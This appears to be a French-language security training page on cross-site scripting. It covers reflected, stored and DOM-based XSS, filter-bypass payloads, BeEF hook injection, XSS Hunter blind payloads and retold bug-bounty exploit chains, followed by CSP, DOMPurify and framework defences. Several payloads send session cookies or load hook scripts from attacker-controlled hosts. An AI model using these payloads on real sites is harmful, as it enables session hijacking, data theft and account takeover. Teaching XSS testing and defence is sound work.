Cross-Site Scripting
Transformez les entrées utilisateur en vecteurs d'attaque basés sur le navigateur
Ce que vous allez découvrir
🎯 Pourquoi c'est important
Le Cross-Site Scripting figure constamment dans le Top 10 de l'OWASP car il affecte des millions d'applications web dans le monde. Les attaques XSS vous permettent d'exécuter du JavaScript dans les navigateurs des victimes, conduisant au détournement de session, au vol de données et à la prise de contrôle complète des comptes. Les applications web modernes s'appuient fortement sur JavaScript côté client, faisant du XSS l'une des vulnérabilités les plus critiques que les experts en sécurité doivent comprendre.
🔍 Ce que vous allez apprendre
Vous comprendrez comment identifier et exploiter les vulnérabilités XSS réfléchies, stockées et basées sur le DOM en utilisant les mêmes techniques que les experts en sécurité utilisent lors d'évaluations réelles. Cela inclut la création de payloads qui contournent les filtres de sécurité modernes, l'utilisation d'outils standards comme BeEF et XSS Hunter, et l'implémentation de contre-mesures défensives appropriées.
🚀 Votre première réussite
Dans les 10 prochaines minutes, vous exécuterez avec succès une attaque XSS stockée qui capture les cookies de session administrateur, démontrant comment des entrées utilisateur apparemment inoffensives peuvent conduire à une compromission complète de l'application et un accès administratif.
🔧 Essayez maintenant
Testez ce simple payload XSS dans un champ de commentaire ou une boîte de recherche
# Payload de test XSS basique
<script>alert('XSS Test')</script>
# Si c'est bloqué, essayez ce contournement de filtre
<img src=x onerror=alert('XSS')>
# Pour les tests avancés (capture de cookie de session)
<script>
fetch('http://<attacker>/collect?cookie=' + document.cookie);
</script>
# Test XSS basé sur le DOM (vérifier le fragment d'URL)
http://<target>/page.html#<img src=x onerror=alert(document.cookie)>
Vous verrez : Comment différents contextes XSS nécessitent différents payloads, et pourquoi des tests systématiques révèlent des vulnérabilités que les scanners basiques manquent. C'est l'approche pratique qui distingue les experts en sécurité des outils automatisés.
Compétences que vous maîtriserez
✅ Compréhension fondamentale
- Vecteurs d'attaque XSS et techniques d'exploitation
- Création de payloads JavaScript et obfuscation
- Méthodes de contournement de filtres et techniques d'encodage
- Manipulation DOM et exploitation côté client
🔍 Compétences avancées
- Framework BeEF pour la post-exploitation
- XSS Hunter pour la détection de vulnérabilités en aveugle
- Techniques de contournement CSP et méthodologie
- Pratiques de codage sécurisé et implémentation de défenses
Comprendre les vulnérabilités XSS
Le XSS se produit lorsque les applications incluent des données non fiables dans les pages web sans validation ou échappement approprié
Le problème fondamental est que les navigateurs web ne peuvent pas distinguer entre le JavaScript légitime et le code contrôlé par l'attaquant lorsque les deux sont servis depuis le même domaine. Ce modèle de confiance basé sur l'origine rend le XSS particulièrement dangereux — votre script malveillant s'exécute avec tous les privilèges de l'application vulnérable.
XSS réfléchi
L'entrée est immédiatement retournée dans la réponse
# Paramètre de recherche réfléchi
GET /search?q=<script>alert(1)</script>
# Contexte de message d'erreur
GET /login?error=<img src=x onerror=alert(1)>
XSS stocké
Le payload persiste dans la base de données ou le stockage fichier
# Stockage dans un champ de commentaire
POST /comment
Content: <script>/* payload */</script>
# Persistance dans un champ de profil
POST /profile
Name: <svg onload=alert(1)>
XSS basé sur le DOM
Le JavaScript côté client traite des données non fiables
# Exploitation du fragment d'URL
location.hash = "<img src=x onerror=alert(1)>"
# Utilisation du sink innerHTML
element.innerHTML = userInput;
Outils et techniques
Les experts en sécurité utilisent une combinaison de création manuelle de payloads et d'outils spécialisés pour découvrir et exploiter efficacement les vulnérabilités XSS.
Création manuelle de payloads : l'approche experte
Comprendre comment créer manuellement des payloads XSS est essentiel car cela vous permet de vous adapter à différents contextes et de contourner des filtres spécifiques que les outils automatisés ne peuvent pas gérer.
Techniques de contournement de filtres
# Manipulation de casse pour contourner les filtres simples
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
# Techniques d'encodage
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<img src=x onerror="alert(1)">
# Obfuscation des gestionnaires d'événements
<svg/onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
# Exécution JavaScript sans balises script
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>
# Template literal et syntaxe alternative
<script>alert`1`</script>
<script>(alert)(1)</script>
Ces techniques manuelles fonctionnent car elles exploitent des comportements spécifiques des parseurs et des faiblesses de filtres que les outils automatisés manquent souvent, vous donnant l'avantage qui distingue les testeurs experts.
Framework BeEF : plateforme de post-exploitation
BeEF (Browser Exploitation Framework) transforme de simples vulnérabilités XSS en compromission complète du navigateur, fournissant les capacités de post-exploitation qui démontrent l'impact réel.
Configuration et utilisation de BeEF
# Installer et démarrer BeEF
git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef
# Payload hook basique (injecter via XSS)
<script src="http://[BEEF_SERVER]:3000/hook.js"></script>
# Hook minimal pour les contextes à espace limité
<script>$.getScript('http://hdna-beef:3000/hook.js')</script>
# Hook furtif avec masquage de domaine
<script>$.getScript('//legitimate-looking-domain.com/analytics.js')</script>
# Commandes post-exploitation (via l'interface BeEF)
# - Capture d'écran
# - Récolte d'identifiants
# - Reconnaissance réseau
# - Attaques d'ingénierie sociale
# - Mécanismes de persistance
BeEF démontre pourquoi le XSS ne se limite pas aux boîtes d'alerte — il s'agit d'une compromission complète du navigateur et de la capacité à effectuer des attaques complexes contre des utilisateurs authentifiés.
XSS Hunter : détection de vulnérabilités en aveugle
XSS Hunter excelle dans la découverte de vulnérabilités XSS en aveugle — les cas où votre payload s'exécute mais vous ne pouvez pas voir de feedback immédiat, courant dans les panneaux d'administration et le traitement en arrière-plan.
Détection de XSS en aveugle
# Payload XSS Hunter (remplacer par votre sous-domaine)
"><script src=https://hackerdna.xss.ht></script>
# Formats de payload alternatifs
<script>$.getScript("//hackerdna.xss.ht")</script>
<img src="//hackerdna.xss.ht/?cookie="+document.cookie>
# Test en aveugle de formulaire de contact
Name: <script src=https://hackerdna.xss.ht></script>
Email: test@hackerdna.com
Message: Test de XSS dans le panneau admin
# Test en aveugle de ticket de support
Subject: <script src=https://hackerdna.xss.ht></script>
Description: L'admin examinera ce contenu de ticket
# Test en aveugle d'upload de fichier (fichiers SVG)
<svg onload="$.getScript('https://hackerdna.xss.ht')"></svg>
XSS Hunter capture le contexte complet lorsque votre payload s'exécute, incluant le code source de la page, les cookies et les informations utilisateur — critique pour prouver l'impact lors des évaluations de sécurité.
Scénarios d'attaque réels
Ces histoires vérifiées de bug bounty démontrent les techniques d'exploitation XSS réelles utilisées par les chercheurs en sécurité, montrant l'approche systématique qui obtient des résultats constants et des récompenses substantielles.
Cas 1 : XSS stocké Facebook via upload de fichier - 3 500 USD
Le chercheur en sécurité Frans Rosén a découvert une vulnérabilité XSS stockée dans le système de partage de Facebook via une chaîne d'attaque créative impliquant la synchronisation de fichiers Dropbox et la fonctionnalité de partage Facebook.
# Étape 1 : Créer un nom de fichier malveillant dans Dropbox
Filename: '"><img src=x onerror=alert(document.domain)>.txt
# Étape 2 : Partager le fichier depuis Dropbox vers un groupe Facebook
# Le système de partage Facebook n'a pas échappé le nom de fichier
# Étape 3 : XSS stocké déclenché sur le popup de partage
<script nonce="G4bzKjjcoKYHhRqFR4jI3hADUnme1CL14sqI8gUqRhcRi+DE">
window.location.href = '"><img src=x onerror=alert(document.domain)>
?...dynamic url parameters...'
</script>
# Étape 4 : Escalade vers une attaque par lien direct
https://www.facebook.com/sharer/sharer.php?s=44&appid=210019893730
&p[0]=entry_id&p[1]=user_that_shared_it_first
Évaluation de l'impact : La vulnérabilité permettait l'exécution immédiate de JavaScript lorsque les utilisateurs visitaient le lien de partage malveillant, affectant des millions d'utilisateurs Facebook. Le chercheur a également découvert que la même vulnérabilité fonctionnait avec les partages Pinterest, démontrant un problème systémique.
Cas 2 : RCE Google Cloud Shell via XSS - 5 000 USD
Le chercheur en sécurité @omespino a escaladé un simple XSS dans l'aperçu markdown de Google Cloud Shell vers un accès root complet sur l'infrastructure cloud de Google.
# README.md malveillant dans un dépôt GitHub
<style onload="{
var file_results = []
// Échapper le conteneur et obtenir la clé privée SSH
read_file('file:///../id_cloudshell')
// Obtenir le hostname pour la connexion externe
read_file('file:///etc/hostname')
setTimeout(function(){ send_files(file_results) },5000)
function read_file(file_to_read){
var get_file_id_url = 'https://' + location.host + '/files/?uri=' + file_to_read
fetch(get_file_id_url)
.then(response => response.json())
.then(json => {
var download_url = 'https://' + location.host + '/files/download/?id=' + json.id
fetch(download_url)
.then(response => response.text())
.then(text => file_results.push(file_to_read + ' ' + text))
})
}
}">
# Résultat : Extraire la clé privée SSH et le hostname
# Accès final : ssh -i id_cloudshell -p 6000 root@devshell-vm-[ID].cloudshell.dev
Risque métier : Compromission complète des instances Google Cloud Shell, permettant aux attaquants un accès root aux environnements de développement cloud des victimes contenant du code sensible et des identifiants. L'attaque a utilisé l'intégration GitHub "Open in Cloud Shell" pour l'ingénierie sociale.
Cas 3 : attaque en chaîne côté client complexe - 7 500 USD
Le chercheur en sécurité Vitor Falcao a découvert une chaîne d'attaque sophistiquée côté client combinant Client-Side Path Traversal, contournement d'upload de fichier, CSRF de connexion OAuth et cookie bombing pour réaliser du XSS sur une cible de haut profil.
# Étape 1 : Client-Side Path Traversal (CSPT)
# Original : /categories/[number] → /api/v2/categories/[number].json
# Exploit : /categories/..%2Fmarketplace%2Ffiles%2F1234%3Fredirect%3Dtrue
# Étape 2 : Upload de fichier JSON malveillant (abonnement Pro requis)
{
"title": "<script>/* Premier XSS - Cookie bomb victim */</script>",
"description": "<script>for(let i=0;i<50000;i++){document.cookie='check'+i+'='+i+';max-age=600;secure'}</script>"
}
# Étape 3 : CSRF de connexion OAuth pour forcer la victime dans le compte attaquant
# Intercepter le callback OAuth et forcer la victime à consommer le code de l'attaquant
# Étape 4 : Définir un cookie de chemin spécifique pour l'accès marketplace
document.cookie = "Session=attackerToken; path=/api/marketplace/files/1234";
# Étape 5 : Second payload XSS pour la prise de contrôle de compte
{
"payload": "<script>fetch('/api/user/email',{method:'POST',body:JSON.stringify({email:'attacker@email.com'}),headers:{'Content-Type':'application/json','X-CSRF-Token':csrf_token}});</script>"
}
Taux de réussite de l'attaque : Cette chaîne complexe démontre des techniques d'exploitation côté client avancées, combinant plusieurs vulnérabilités pour réaliser une prise de contrôle de compte malgré les contrôles de sécurité modernes comme CSP et les cookies HttpOnly. L'attaque nécessitait une interaction utilisateur significative mais atteignait un impact élevé.
Contre-mesures défensives
Comprendre les mesures défensives vous rend plus efficace comme attaquant et vous aide à fournir des conseils de remédiation précieux aux clients et aux équipes de développement.
Content Security Policy (CSP) : défense primaire
CSP fournit une protection robuste contre le XSS en contrôlant quelles ressources les navigateurs peuvent charger et exécuter, bloquant efficacement la plupart des attaques XSS lorsqu'il est correctement implémenté.
Exemples d'implémentation CSP
# En-tête CSP strict (bloque la plupart des XSS)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
# CSP prêt pour la production avec support CDN
Content-Security-Policy: default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
# CSP avec nonce pour scripts inline (approche sécurisée)
Content-Security-Policy: script-src 'self' 'nonce-random123';
<script nonce="random123">/* code inline légitime */</script>
# Rapport de violation CSP
Content-Security-Policy-Report-Only: default-src 'self';
report-uri https://example.com/csp-report;
Techniques de contournement CSP (avancé)
- Script gadgets - Exploiter des scripts légitimes avec des sinks non sécurisés
- Endpoints JSONP - Abuser des callbacks JSONP existants
- Sandbox Angular - Méthodes de contournement spécifiques au framework
- Injection de balise base - Rediriger les URLs relatives vers le domaine attaquant
Validation d'entrée prête pour la production
Utilisez des bibliothèques de validation établies qui gèrent les cas limites et fournissent des fonctionnalités de sécurité complètes utilisées par les grandes entreprises mondiales.
Express.js avec Helmet & Validation
// Installer : npm install helmet express-validator express-rate-limit
const helmet = require('helmet');
const { body, validationResult } = require('express-validator');
const rateLimit = require('express-rate-limit');
// Appliquer les en-têtes de sécurité (utilisé par Netflix, Airbnb)
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-" + nonce + "'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
},
},
hsts: { maxAge: 31536000, includeSubDomains: true },
noSniff: true,
frameguard: { action: 'deny' }
}));
// Rate limiting (prévient les attaques automatisées)
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100 // limite chaque IP à 100 requêtes par fenêtre
});
app.use('/api/', limiter);
// Validation d'entrée avec express-validator
app.post('/comment',
body('content')
.isLength({ min: 1, max: 1000 })
.trim()
.escape() // Encode HTML les caractères dangereux
.blacklist('<>"'),
body('email').isEmail().normalizeEmail(),
(req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Traiter l'entrée validée
}
);
Sanitisation standard de l'industrie
DOMPurify est le standard de référence pour la sanitisation HTML, utilisé par Google, Microsoft et d'autres grandes entreprises technologiques pour prévenir les attaques XSS.
Implémentation DOMPurify
// Côté client : npm install dompurify
// Côté serveur : npm install isomorphic-dompurify
import DOMPurify from 'dompurify';
// Rendu HTML sécurisé (bloque tous les vecteurs XSS)
const userInput = '<script>alert("XSS")</script><p>Contenu sécurisé</p>';
const cleanHTML = DOMPurify.sanitize(userInput);
// Résultat : "<p>Contenu sécurisé</p>"
// Mode strict (seules les balises spécifiques autorisées)
const strictClean = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: ['class', 'id']
});
// Configuration production (approche de GitHub)
const productionConfig = {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [],
ALLOW_DATA_ATTR: false,
ALLOW_UNKNOWN_PROTOCOLS: false,
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
SANITIZE_DOM: true
};
// Pour les applications React
function SafeHTML({ html }) {
const cleanHtml = DOMPurify.sanitize(html, productionConfig);
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
Bonnes pratiques spécifiques aux frameworks
Les frameworks modernes fournissent une protection XSS intégrée lorsqu'ils sont utilisés correctement. Voici les patterns de production utilisés par les applications majeures.
React (approche production de Facebook/Meta)
// SÉCURISÉ : JSX échappe automatiquement
function UserComment({ comment }) {
return <p>{comment.text}</p>; // Auto-échappé, sécurisé XSS
}
// SÉCURISÉ : Utiliser DOMPurify pour le contenu riche
import DOMPurify from 'dompurify';
function RichContent({ html }) {
const cleanHtml = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOWED_URI_REGEXP: /^https?:\/\//
});
return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}
// DANGEREUX : Ne jamais faire cela
function UnsafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}
Angular (modèle de sécurité de Google)
// SÉCURISÉ : Sanitisation intégrée d'Angular
@Component({
template: `
<!-- Sécurisé : échappement automatique -->
<p>{{ userComment }}</p>
<!-- Sécurisé : Angular sanitise le HTML -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class SafeComponent {
constructor(private sanitizer: DomSanitizer) {}
trustedHtml = this.sanitizer.sanitize(
SecurityContext.HTML,
this.userProvidedHtml
);
// DANGEREUX : Contourner la sanitisation
// this.sanitizer.bypassSecurityTrustHtml(userInput)
}
Node.js/Express (template production)
// Configuration production complète (utilisée par Stripe, Shopify)
const express = require('express');
const helmet = require('helmet');
const rateLimit = require('express-rate-limit');
const { body, query, param } = require('express-validator');
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// Pile de middleware de sécurité
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-random'"],
objectSrc: ["'none'"],
baseUri: ["'self'"]
}
}
}));
// Route API avec validation complète
app.post('/api/content',
rateLimit({ windowMs: 60000, max: 10 }),
body('title').isLength({ max: 100 }).trim().escape(),
body('content').isLength({ max: 5000 }).custom(value => {
// Sanitisation personnalisée avec DOMPurify
const clean = DOMPurify.sanitize(value);
if (clean !== value) {
throw new Error('Contenu HTML invalide détecté');
}
return true;
}),
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Traiter le contenu validé et sanitisé
}
);
🎯 Vous maîtrisez le XSS !
Vous comprenez maintenant comment identifier, exploiter et défendre contre les vulnérabilités Cross-Site Scripting en utilisant la même approche systématique que les experts en sécurité. Vous pouvez créer des payloads, contourner des filtres et utiliser des outils standards de l'industrie pour démontrer un impact réel lors des évaluations de sécurité.
Prêt à exploiter la confiance entre les navigateurs et les applications